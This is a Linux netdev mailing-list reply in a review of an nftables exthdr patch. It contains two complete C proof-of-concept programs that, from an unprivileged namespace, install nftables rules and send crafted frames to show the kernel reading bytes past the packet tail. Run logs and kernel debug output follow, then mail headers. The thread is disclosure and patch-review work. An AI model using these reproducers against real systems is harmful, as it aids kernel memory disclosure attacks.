	char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
	int n;

	p = put_str(p, NFTA_RULE_TABLE, "t");
	msg_end(buf, p);
	if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
		die("GETRULE");
	while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

			if (r->nlmsg_type == NLMSG_DONE || r->nlmsg_type == NLMSG_ERROR)
				return;
			parse_rule(a, (char *)r + r->nlmsg_len - a);
		}
	}
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
	struct sockaddr_ll sll = {};

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifi;
	sll.sll_protocol = htons(proto);
	/* the chain drops everything: ENOBUFS is the expected result */
	if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0 &&
	   errno != ENOBUFS)
		die("sendto");
}

#define PLANT_NH	0x3a	/* only ever present in plant frames */
#define ROUNDS_E	16

int main(void)
{
	static unsigned char probe[5000];	/* > PAGE_SIZE: ipv6 hdr in frags */
	unsigned char plant[HHLEN + 8];		/* same size class as probe head */
	uint64_t before[256];
	cpu_set_t cs;
	int r, t, i, hit = 0, other = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	CPU_ZERO(&cs);
	CPU_SET(0, &cs);
	sched_setaffinity(0, sizeof(cs), &cs);

	if (getuid() == 0) {			/* drop to an unprivileged user */
		setgroups(0, NULL);
		if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
			die("drop privileges");
		prctl(PR_SET_DUMPABLE, 1);	/* lets us write our own uid_map */
	}
	printf("[*] uid=%d\n", getuid());
	enter_ns();
	/* keep IPv6 autoconf traffic off the tunnel */
	write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
	rtnl_ip6gre();
	link_up("g6");
	nft_setup();

	pfd = socket(AF_PACKET, SOCK_RAW, 0);
	ifi = if_nametoindex("g6");
	if (pfd < 0 || !ifi)
		die("AF_PACKET");

	/* probe: 44-byte hard header + 4956 zero bytes: the real IPv6
	* header (in frags) has version 0 and must never validate */
	memset(probe, 0, sizeof(probe));
	/* plant: hard header + what looks like an IPv6 header, nexthdr 0x3a */
	memset(plant, 0, sizeof(plant));
	plant[HHLEN + 0] = 0x60;
	plant[HHLEN + 6] = PLANT_NH;
	plant[HHLEN + 7] = 64;

	printf("[*] netdev egress on ip6gre (hard_header_len %d), %zu-byte probe\n",
	      HHLEN, sizeof(probe));
	printf("[*] warming up: %d plant frames\n", WARMUP);
	for (i = 0; i < WARMUP; i++)
		tx(plant, sizeof(plant), 0x1234);

	for (r = 0; r < ROUNDS_E; r++) {
		for (i = 0; i < PER_ROUND; i++)
			tx(plant, sizeof(plant), 0x1234);
		read_counters();
		memcpy(before, cnt, sizeof(before));
		tx(probe, sizeof(probe), ETH_P_IPV6);
		usleep(20000);
		read_counters();
		for (t = 0; t < 256; t++) {
			if (cnt[t] == before[t])
				continue;
			printf("    probe %2d: rule 0x%02x fired%s\n", r, t,
			      t == PLANT_NH ? "  <== stale plant byte read past skb tail" : "");
			if (t == PLANT_NH)
				hit++;
			else
				other++;
		}
	}
	printf("[%c] %d/%d probes read the planted byte past the tail (%d other)\n",
	      hit ? '+' : '-', hit, ROUNDS_E, other);
	return !hit;
}
```



> 
> > I think exthdr still needs its own check, or the netdev/bridge chains
> > should not evaluate rules against an skb that failed validation. Your
> > change still looks useful on top of that for the frags case.
> 
> I don't think so, if there is a chance to skip re-evaluation, the better.
> 
> > One more thing: nft_meta.c calls __nft_set_pktinfo_ipv6_validate()
> > with a non-zero nhoff for VLAN/PPPoE, but the new code pulls and reads
> > the header at offset 0, so it checks the outer header there.
> > 
> > Thanks,
> > Xiang
> > 
> > The PoC:
> > ```c
> > #include <errno.h>
> > #include <fcntl.h>
> > #include <sched.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <unistd.h>
> > #include <grp.h>
> > #include <sys/prctl.h>
> > #include <net/if.h>
> > #include <arpa/inet.h>
> > #include <sys/ioctl.h>
> > #include <sys/socket.h>
> > #include <sys/time.h>
> > #include <linux/netlink.h>
> > #include <linux/rtnetlink.h>
> > #include <linux/if_packet.h>
> > #include <linux/if_ether.h>
> > 
> > #define NFNL_SUBSYS_NFTABLES    10
> > #define NFNL_MSG_BATCH_BEGIN    16
> > #define NFNL_MSG_BATCH_END      17
> > #define NFT_MSG_NEWTABLE        0
> > #define NFT_MSG_NEWCHAIN        3
> > #define NFT_MSG_NEWRULE         6
> > #define NFT_MSG_GETRULE         7
> > #define NFTA_TABLE_NAME         1
> > #define NFTA_CHAIN_TABLE        1
> > #define NFTA_CHAIN_NAME         3
> > #define NFTA_CHAIN_HOOK         4
> > #define NFTA_CHAIN_TYPE         7
> > #define NFTA_HOOK_HOOKNUM       1
> > #define NFTA_HOOK_PRIORITY      2
> > #define NFTA_HOOK_DEV           3
> > #define NFTA_RULE_TABLE         1
> > #define NFTA_RULE_CHAIN         2
> > #define NFTA_RULE_EXPRESSIONS   4
> > #define NFTA_RULE_USERDATA      7
> > #define NFTA_LIST_ELEM          1
> > #define NFTA_EXPR_NAME          1
> > #define NFTA_EXPR_DATA          2
> > #define NFTA_EXTHDR_DREG        1
> > #define NFTA_EXTHDR_TYPE        2
> > #define NFTA_EXTHDR_OFFSET      3
> > #define NFTA_EXTHDR_LEN         4
> > #define NFTA_EXTHDR_FLAGS       5
> > #define NFT_EXTHDR_F_PRESENT    1
> > #define NFTA_CMP_SREG           1
> > #define NFTA_CMP_OP             2
> > #define NFTA_CMP_DATA           3
> > #define NFTA_DATA_VALUE         1
> > #define NFTA_COUNTER_PACKETS    2
> > #define NFPROTO_NETDEV          5
> > #define NFT_REG_1               1
> > #ifndef NETLINK_NETFILTER
> > #define NETLINK_NETFILTER       12
> > #endif
> > 
> > #define ROUNDS          64
> > 
> > struct nfgen { uint8_t family, version; uint16_t res_id; };
> > 
> > static int nl, pfd, ifi;
> > static uint32_t seq = 1;
> > static uint64_t cnt[256];
> > 
> > static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m,
> > strerror(errno)); exit(1); }
> > 
> > static char *put(char *p, int type, const void *d, int len)
> > {
> >         struct nlattr *a = (struct nlattr *)p;
> > 
> >         a->nla_type = type;
> >         a->nla_len = NLA_HDRLEN + len;
> >         memcpy(p + NLA_HDRLEN, d, len);
> >         memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
> >         return p + NLA_ALIGN(a->nla_len);
> > }
> > static char *put_str(char *p, int t, const char *s) { return put(p, t,
> > s, strlen(s) + 1); }
> > static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v);
> > return put(p, t, &v, 4); }
> > static char *nest(char **p, int type)
> > {
> >         struct nlattr *a = (struct nlattr *)*p;
> > 
> >         a->nla_type = type | NLA_F_NESTED;
> >         *p += NLA_HDRLEN;
> >         return (char *)a;
> > }
> > static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len
> > = p - a; }
> > 
> > /* ---------------------------------------------------------------- setup */
> > 
> > static void write_file(const char *path, const char *s)
> > {
> >         int fd = open(path, O_WRONLY);
> > 
> >         if (fd < 0 || write(fd, s, strlen(s)) < 0)
> >                 die(path);
> >         close(fd);
> > }
> > 
> > static void enter_ns(void)
> > {
> >         char map[32];
> >         uid_t uid = getuid();
> >         gid_t gid = getgid();
> > 
> >         if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
> >                 die("unshare");
> >         write_file("/proc/self/setgroups", "deny");
> >         snprintf(map, sizeof(map), "0 %d 1", uid);
> >         write_file("/proc/self/uid_map", map);
> >         snprintf(map, sizeof(map), "0 %d 1", gid);
> >         write_file("/proc/self/gid_map", map);
> > }
> > 
> > static void rtnl_veth(void)
> > {
> >         char buf[512] = {}, *p, *li, *id, *peer;
> >         struct nlmsghdr *h = (struct nlmsghdr *)buf;
> >         int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
> > 
> >         h->nlmsg_type = RTM_NEWLINK;
> >         h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
> >         p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
> >         p = put_str(p, IFLA_IFNAME, "vp0");
> >         li = nest(&p, IFLA_LINKINFO);
> >         p = put(p, IFLA_INFO_KIND, "veth", 4);
> >         id = nest(&p, IFLA_INFO_DATA);
> >         peer = nest(&p, 1 /* VETH_INFO_PEER */);
> >         p += sizeof(struct ifinfomsg);
> >         p = put_str(p, IFLA_IFNAME, "vp1");
> >         nest_end(peer, p);
> >         nest_end(id, p);
> >         nest_end(li, p);
> >         h->nlmsg_len = p - buf;
> >         if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
> >                 die("RTM_NEWLINK");
> >         close(fd);
> > }
> > 
> > static void link_up(const char *name)
> > {
> >         struct ifreq ifr = {};
> >         int fd = socket(AF_INET, SOCK_DGRAM, 0);
> > 
> >         strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
> >         if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
> >                 die("SIOCGIFFLAGS");
> >         ifr.ifr_flags |= IFF_UP;
> >         if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
> >                 die("SIOCSIFFLAGS");
> >         close(fd);
> > }
> > 
> > /* ------------------------------------------------------------- nftables */
> > 
> > static char *msg(char *cur, int type, int flags)
> > {
> >         struct nlmsghdr *h = (struct nlmsghdr *)cur;
> >         struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);
> > 
> >         memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
> >         h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
> >         h->nlmsg_flags = NLM_F_REQUEST | flags;
> >         h->nlmsg_seq = ++seq;
> >         g->family = NFPROTO_NETDEV;
> >         return cur + NLMSG_HDRLEN + sizeof(*g);
> > }
> > static char *msg_end(char *cur, char *p) { ((struct nlmsghdr
> > *)cur)->nlmsg_len = p - cur; return p; }
> > static char *batch(char *cur, int type)
> > {
> >         struct nlmsghdr *h = (struct nlmsghdr *)cur;
> >         struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);
> > 
> >         memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
> >         h->nlmsg_type = type;
> >         h->nlmsg_flags = NLM_F_REQUEST;
> >         h->nlmsg_seq = ++seq;
> >         h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
> >         g->res_id = htons(NFNL_SUBSYS_NFTABLES);
> >         return cur + h->nlmsg_len;
> > }
> > 
> > static void nft_commit(char *buf, char *end)
> > {
> >         char rb[8192];
> >         int n;
> > 
> >         if (send(nl, buf, end - buf, 0) < 0)
> >                 die("nft send");
> >         while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
> >                 struct nlmsghdr *r = (struct nlmsghdr *)rb;
> > 
> >                 for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
> >                         struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);
> > 
> >                         if (r->nlmsg_type == NLMSG_ERROR && e->error) {
> >                                 errno = -e->error;
> >                                 die("nft batch");
> >                         }
> >                 }
> >         }
> > }
> > 
> > static char *rule(char *cur, int t)
> > {
> >         uint8_t ud = t, one = 1;
> >         char *p, *ex, *e, *d, *v;
> > 
> >         p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
> >         p = put_str(p, NFTA_RULE_TABLE, "t");
> >         p = put_str(p, NFTA_RULE_CHAIN, "c");
> >         p = put(p, NFTA_RULE_USERDATA, &ud, 1);
> >         ex = nest(&p, NFTA_RULE_EXPRESSIONS);
> > 
> >         e = nest(&p, NFTA_LIST_ELEM);                   /* exthdr ipv6
> > type t exists */
> >         p = put_str(p, NFTA_EXPR_NAME, "exthdr");
> >         d = nest(&p, NFTA_EXPR_DATA);
> >         p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
> >         p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
> >         p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
> >         p = put_be32(p, NFTA_EXTHDR_LEN, 1);
> >         p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
> >         nest_end(d, p);
> >         nest_end(e, p);
> > 
> >         e = nest(&p, NFTA_LIST_ELEM);                   /* cmp reg1 == 1 */
> >         p = put_str(p, NFTA_EXPR_NAME, "cmp");
> >         d = nest(&p, NFTA_EXPR_DATA);
> >         p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
> >         p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
> >         v = nest(&p, NFTA_CMP_DATA);
> >         p = put(p, NFTA_DATA_VALUE, &one, 1);
> >         nest_end(v, p);
> >         nest_end(d, p);
> >         nest_end(e, p);
> > 
> >         e = nest(&p, NFTA_LIST_ELEM);                   /* counter */
> >         p = put_str(p, NFTA_EXPR_NAME, "counter");
> >         nest_end(e, p);
> > 
> >         nest_end(ex, p);
> >         return msg_end(cur, p);
> > }
> > 
> > static void nft_setup(void)
> > {
> >         static char buf[65536];
> >         char *cur, *p, *hk;
> >         int t = 0, i;
> > 
> >         nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
> >         if (nl < 0)
> >                 die("NETLINK_NETFILTER");
> > 
> >         cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
> >         p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
> >         p = put_str(p, NFTA_TABLE_NAME, "t");
> >         cur = msg_end(cur, p);
> >         p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
> >         p = put_str(p, NFTA_CHAIN_TABLE, "t");
> >         p = put_str(p, NFTA_CHAIN_NAME, "c");
> >         p = put_str(p, NFTA_CHAIN_TYPE, "filter");
> >         hk = nest(&p, NFTA_CHAIN_HOOK);
> >         p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
> >         p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
> >         p = put_str(p, NFTA_HOOK_DEV, "vp1");
> >         nest_end(hk, p);
> >         cur = msg_end(cur, p);
> >         cur = batch(cur, NFNL_MSG_BATCH_END);
> >         nft_commit(buf, cur);
> > 
> >         while (t < 256) {
> >                 cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
> >                 for (i = 0; i < 32 && t < 256; i++)
> >                         cur = rule(cur, t++);
> >                 cur = batch(cur, NFNL_MSG_BATCH_END);
> >                 nft_commit(buf, cur);
> >         }
> > }
> > 
> > /* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
> > #define for_each_nla(x, a, len, rem)
> >          \
> >         for (x = (struct nlattr *)(a), rem = (len);
> >          \
> >             rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN &&
> > x->nla_len <= rem; \
> >             rem -= NLA_ALIGN(x->nla_len),
> >          \
> >             x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
> > #define NLA_DATA(x)     ((char *)(x) + NLA_HDRLEN)
> > #define NLA_LEN(x)      ((x)->nla_len - NLA_HDRLEN)
> > 
> > /* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
> > static void parse_rule(char *a, int len)
> > {
> >         struct nlattr *r, *el, *ex, *c;
> >         int r1, r2, r3, r4, t = -1;
> >         uint64_t pk = 0;
> > 
> >         for_each_nla(r, a, len, r1) {
> >                 if (r->nla_type == NFTA_RULE_USERDATA)
> >                         t = (uint8_t)NLA_DATA(r)[0];
> >                 if (r->nla_type != NFTA_RULE_EXPRESSIONS)
> >                         continue;
> >                 for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
> >                         bool counter = false;
> > 
> >                         for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
> >                                 if (ex->nla_type == NFTA_EXPR_NAME)
> >                                         counter =
> > !strcmp(NLA_DATA(ex), "counter");
> >                                 else if (ex->nla_type ==
> > NFTA_EXPR_DATA && counter)
> >                                         for_each_nla(c, NLA_DATA(ex),
> > NLA_LEN(ex), r4)
> >                                                 if (c->nla_type ==
> > NFTA_COUNTER_PACKETS)
> >                                                         pk =
> > be64toh(*(uint64_t *)NLA_DATA(c));
> >                         }
> >                 }
> >         }
> >         if (t >= 0)
> >                 cnt[t] = pk;
> > }
> > 
> > static void read_counters(void)
> > {
> >         static char rb[1 << 18];
> >         char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
> >         int n;
> > 
> >         p = put_str(p, NFTA_RULE_TABLE, "t");
> >         msg_end(buf, p);
> >         if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
> >                 die("GETRULE");
> >         while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
> >                 struct nlmsghdr *r = (struct nlmsghdr *)rb;
> > 
> >                 for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
> >                         char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);
> > 
> >                         if (r->nlmsg_type == NLMSG_DONE ||
> > r->nlmsg_type == NLMSG_ERROR)
> >                                 return;
> >                         parse_rule(a, (char *)r + r->nlmsg_len - a);
> >                 }
> >         }
> > }
> > 
> > /* --------------------------------------------------------------- probes */
> > 
> > static void tx(const unsigned char *f, int len, uint16_t proto)
> > {
> >         struct sockaddr_ll sll = {};
> > 
> >         sll.sll_family = AF_PACKET;
> >         sll.sll_ifindex = ifi;
> >         sll.sll_protocol = htons(proto);
> >         sll.sll_halen = ETH_ALEN;
> >         if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
> >                 die("sendto");
> > }
> > 
> > int main(void)
> > {
> >         unsigned char probe[18] = {
> >                 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02,
> > 0x02, 0x02, 0x02,
> >                 0x81, 0x00,             /* ETH_P_8021Q */
> >                 0x00, 0x64,             /* vid 100 */
> >                 0x86, 0xdd,             /* inner: ETH_P_IPV6, then nothing */
> >         };
> >         uint64_t before[256];
> >         cpu_set_t cs;
> >         int r, t, hit = 0;
> > 
> >         setvbuf(stdout, NULL, _IONBF, 0);
> >         CPU_ZERO(&cs);
> >         CPU_SET(0, &cs);
> >         sched_setaffinity(0, sizeof(cs), &cs);
> > 
> >         if (getuid() == 0) {                    /* drop to an
> > unprivileged user */
> >                 setgroups(0, NULL);
> >                 if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
> >                         die("drop privileges");
> >                 prctl(PR_SET_DUMPABLE, 1);      /* lets us write our
> > own uid_map */
> >         }
> >         printf("[*] uid=%d\n", getuid());
> >         enter_ns();
> >         /* keep IPv6 autoconf traffic off the veths */
> >         write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
> >         write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
> >         rtnl_veth();
> >         link_up("vp0");
> >         link_up("vp1");
> >         nft_setup();
> > 
> >         pfd = socket(AF_PACKET, SOCK_RAW, 0);
> >         ifi = if_nametoindex("vp0");
> >         if (pfd < 0 || !ifi)
> >                 die("AF_PACKET");
> > 
> > 
> >         printf("[*] sending %d 18-byte 802.1Q probes with no IPv6
> > header\n", ROUNDS);
> >         read_counters();
> >         memcpy(before, cnt, sizeof(before));
> >         for (r = 0; r < ROUNDS; r++) {
> >                 tx(probe, sizeof(probe), ETH_P_8021Q);
> >                 usleep(20000);
> >         }
> >         read_counters();
> >         for (t = 0; t < 256; t++) {
> >                 if (cnt[t] == before[t])
> >                         continue;
> >                 printf("    rule 0x%02x fired %llu/%d: kernel read
> > byte 0x%02x past skb tail\n",
> >                       t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
> >                 hit += cnt[t] - before[t];
> >         }
> >         printf("[%c] %d/%d probes leaked a byte from past the end of
> > the packet\n",
> >               hit ? '+' : '-', hit, ROUNDS);
> >         return !hit;
> > }
> > ```
> > 
> > My run output of your attached patch:
> > ```log
> > [*] sending 64 18-byte 802.1Q probes with no IPv6 header
> >     rule 0x01 fired 25/64: kernel read byte 0x01 past skb tail
> >     rule 0x02 fired 2/64: kernel read byte 0x02 past skb tail
> >     rule 0x03 fired 1/64: kernel read byte 0x03 past skb tail
> >     rule 0x74 fired 1/64: kernel read byte 0x74 past skb tail
> > ...
> > ```
> > 
> > I also confirmed the same result after inserting some debug to the kernel.
> > 
> > ```log
> > [    4.041624] DBG_OOB head=ffff888021df96c0 nh=20 tail=20 end=384
> > byte=0x00 ptr16_23(head+544)=0xdf
> > [    4.061809] DBG_OOB head=ffff888021df9a00 nh=20 tail=20 end=384
> > byte=0x00 ptr16_23(head+544)=0xdf
> > [    4.081970] DBG_OOB head=ffff888021df63c0 nh=20 tail=20 end=384
> > byte=0x00 ptr16_23(head+544)=0xdf
> > [    4.102192] DBG_OOB head=ffff888021df6080 nh=20 tail=20 end=384
> > byte=0x00 ptr16_23(head+544)=0xdf
> > [    4.122357] DBG_OOB head=ffff888021de5a00 nh=20 tail=20 end=384
> > byte=0x01 ptr16_23(head+544)=0xde
> > ...
> > ```
> > 
Technical Details
Message-ID: <buheyca6gv7q5tzmu5k4obrujqyglz7afrdu42p44xouinykxi@fk267ktzkz3w>
Path: mbox-mo1.pugleaf.net!srv.newsdeef.eu!news.mb-net.net!open-news-network.org!2.eu.feeder.erje.net!feeder.erje.net!feeder3.feed.ams11.usenet.farm!feed.usenet.farm!feeder.usenetexpress.com!tr3.eu1.usenetexpress.com!news.neodome.net!usenet.network!.POSTED!vger.kernel.org!netdev+bounces-373331-linux-kernel-netdev=dewy.ru
References: <20261126001151.13793-1-xmei5@asu.edu> <awd9f47inahmDWRP@chamomile> <awd_r2mOR7xuYzh4@chamomile> <CAPpSM+TTd7sQvAjDS_u69xLNwtPgFrr23dxi8yKgRPfqosfjUQ@mail.gmail.com> <aweYPz6oQlIYXddC@chamomile>

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!srv.newsdeef.eu!news.mb-net.net!open-news-network.org!2.eu.feeder.erje.net!feeder.erje.net!feeder3.feed.ams11.usenet.farm!feed.usenet.farm!feeder.usenetexpress.com!tr3.eu1.usenetexpress.com!news.neodome.net!usenet.network!.POSTED!vger.kernel.org!netdev+bounces-373331-linux-kernel-netdev=dewy.ru
From: xmei5@asu.edu (Xiang Mei)
Newsgroups: linux.kernel.netdev
Subject: Re: [PATCH nf] netfilter: nft_exthdr: pull the IPv6 header before ipv6_find_hdr()
Date: Sat, 28 Nov 2026 18:52:01 -0700
Organization: Usenet Network
Message-ID: <buheyca6gv7q5tzmu5k4obrujqyglz7afrdu42p44xouinykxi@fk267ktzkz3w>
References: <20261126001151.13793-1-xmei5@asu.edu> <awd9f47inahmDWRP@chamomile> <awd_r2mOR7xuYzh4@chamomile> <CAPpSM+TTd7sQvAjDS_u69xLNwtPgFrr23dxi8yKgRPfqosfjUQ@mail.gmail.com> <aweYPz6oQlIYXddC@chamomile>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Injection-Info: usenet.network; logging-data="1078970"; mail-complaints-to="abuse@usenet.network"
Cancel-Lock: sha1:D1KYe2gGjbXF2ozOx7ehIOABwpg= sha256:1LP01KDPjHucMSsgOoen2PZwEEywYXhLYmEuEcOHSfQ= sha1:29PMZhsMg4r1kDYo45tMzsOQ+WM= sha256:gnN5XdkVuLI9Kr/3RtOv6BEC5M7G3G7rwdpQ4XJ6omo=
Content-Disposition: inline
List-ID: <netdev.vger.kernel.org>
X-Mailpost-Empty-Hdrs: X-Spam-Level
X-Received: from localhost (localhost [127.0.0.1]) by mail.dewy.ru (Postfix) with ESMTP id DD9E7125F90; Sun, 29 Nov 2026 04:52:27 +0300 (MSK)
X-Virus-Scanned: Debian amavisd-new at usenet.network
X-Spam-Flag: NO
X-Spam-Score: -3.151
X-Spam-Status: No, score=-3.151 tagged_above=-9999 required=6.31 tests=[DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, HEADER_FROM_DIFFERENT_DOMAINS=0.249, MAILING_LIST_MULTI=-1, RCVD_IN_DNSWL_MED=-2.3, SPF_HELO_NONE=0.001, SPF_PASS=-0.001] autolearn=ham autolearn_force=no
X-Authentication-Results: mail.dewy.ru (amavisd-new); dkim=pass (2048-bit key) header.d=asu.edu
X-Received: from mail.dewy.ru ([127.0.0.1]) by localhost (mail.dewy.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id dpw0E43Rkhbr; Sun, 29 Nov 2026 04:52:23 +0300 (MSK)
X-Received-SPF: Pass (mailfrom) identity=mailfrom; client-ip=172.232.135.74; helo=sto.lore.kernel.org; envelope-from=netdev+bounces-373331-linux-kernel-netdev=dewy.ru@vger.kernel.org; receiver=<UNKNOWN>
X-Authentication-Results: OpenDMARC; dmarc=fail (p=none dis=none) header.from=asu.edu
X-Received: from sto.lore.kernel.org (sto.lore.kernel.org [172.232.135.74]) by mail.dewy.ru (Postfix) with ESMTPS id 0468D125F8A; Sun, 29 Nov 2026 04:52:12 +0300 (MSK)
X-Received: from smtp.subspace.kernel.org (conduit.subspace.kernel.org [100.77.114.92]) by sto.lore.kernel.org (Postfix) with ESMTP id BBCF960227E; Sun, 29 Nov 2026 01:52:11 +0000 (UTC)
X-Authentication-Results: smtp.subspace.kernel.org; arc=pass header.oldest-pass=0 smtp.remote-ip=127.0.0.1
X-ARC-Seal: i=2; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=pass; t=1795917127; b=mXBF3CYWNwZgfAnZNRFvj8U27CbJF9Px6zoESi0JAvh7KFP8ygbcp+Un1SDkKBXiSqoT VDHXay4/CJIHOM64+cl/HC9zuJczNp2CgkFuB6UPI968+jUGMjidFMALsd5GxGUBFIhT+ P6dNmGhdRkn9xNyPzIH1ktVNrqdU+LaCejCCas4//YhLRM4K3AKs2NF6/kSHIDCZ+h73e ivKJur5F0oh13AHlOk/6xMX21cf3Je9Hu8+kh/AJKsX0WuF4By3KcGvNxs+ky11wy4aKu zw78qAIpnkL0cr2n2rmdqpj+aVp4QtDrUK5CNe5EDdkSysaTeAqe8Y0C4lA5p2s+LeA==
X-ARC-Message-Signature: i=2; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795917127; h=X-Original-To:Received:DMARC-Filter:Received:DKIM-Signature: X-Google-DKIM-Signature:X-Forwarded-Encrypted:X-Gm-Message-State: X-Gm-Gg:X-Received:Received:Date:From:To:Cc:Subject:Message-ID: References:X-Mailing-List:List-Id:List-Post:List-Help:List-Subscribe: List-Unsubscribe:List-Owner:Precedence:MIME-Version:Content-Type: Content-Disposition:Content-Transfer-Encoding:In-Reply-To; bh=htPW3XsqMTo3NYy+z8GY6os1dL7p1GeJffe4p6I7fIk=; b=D3Xzvf/0cL7cCP5g5Se3EWjekeZg/bVQcLJ74VghjcAX1yuz3b0lWIZImWLoVs+fNpTk nO05uNVq+OdK7CP9y57ZMjUrijVN2Y8GagELDC3f6knKqdq1cg8EhKIy19bnF4KAWUrGk iFTMILs4E/XxnadCtFx1lnfo4l4Efw6Q0pwNbT+oC/kQBDSXudneWJbRtW7pdUmAQeN2u wwNCXK4SVaROoQFvW7rXq2ylJep0QYPKwOs7z9PoqmSq8db1DMLzVg/cgUTJhmv3zn8gN wJFdoiQj8/Uf2MV8MDHQToo47Jsu3MJPcnUQmzLGp7YFCVeo/iafTeNsHENWKxjjhwA==
X-ARC-Authentication-Results: i=2; smtp.subspace.kernel.org; dkim=pass header.d=asu.edu header.i=@asu.edu header.a=rsa-sha256 header.s=google header.b=YncBKv4Q; dmarc=pass header.from=asu.edu; spf=pass smtp.mailfrom=asu.edu; arc=pass header.oldest-pass=0 smtp.remote-ip=127.0.0.1
X-Received: from localhost.localdomain (localhost [127.0.0.1]) by smtp.subspace.kernel.org (Postfix) with ESMTP id 6E42B606A33C; Sun, 29 Nov 2026 01:52:07 +0000 (UTC)
X-Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=asu.edu header.i=@asu.edu header.a=rsa-sha256 header.s=google header.b=YncBKv4Q
X-Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.182
X-ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795917126; b=VMkQFgVjWb1bUVZJ6jaO/vvB1mkYEdW2vHPwF8SBlhvJAvuLvAYpkZQ6KEfGWnb2qkim 49K17rPhUwk2CLFOdMug10jniCYDubn1knOVt7h6MTlcrrF8XEPtoXnzMrzu9urj0g9Gr 6Gz7ySNkhcqL/VbjNLMBdKiWFYN+r1GOiU1sDvv+gJ8czM2nzIVyUSKwk0EoVcwZZq99F MXxtvtbNSav3W7sdy4hH5DSOhuhLx232mlBjXd2lxXlOInhB5UHGB4Cc306gt6CqFqlFG HzwN6zCdaPL/ikawogEtWt2fI1l7FZXSol/tge0HKF31qkGJQjKbX7mNVHBg4mRNTXA==
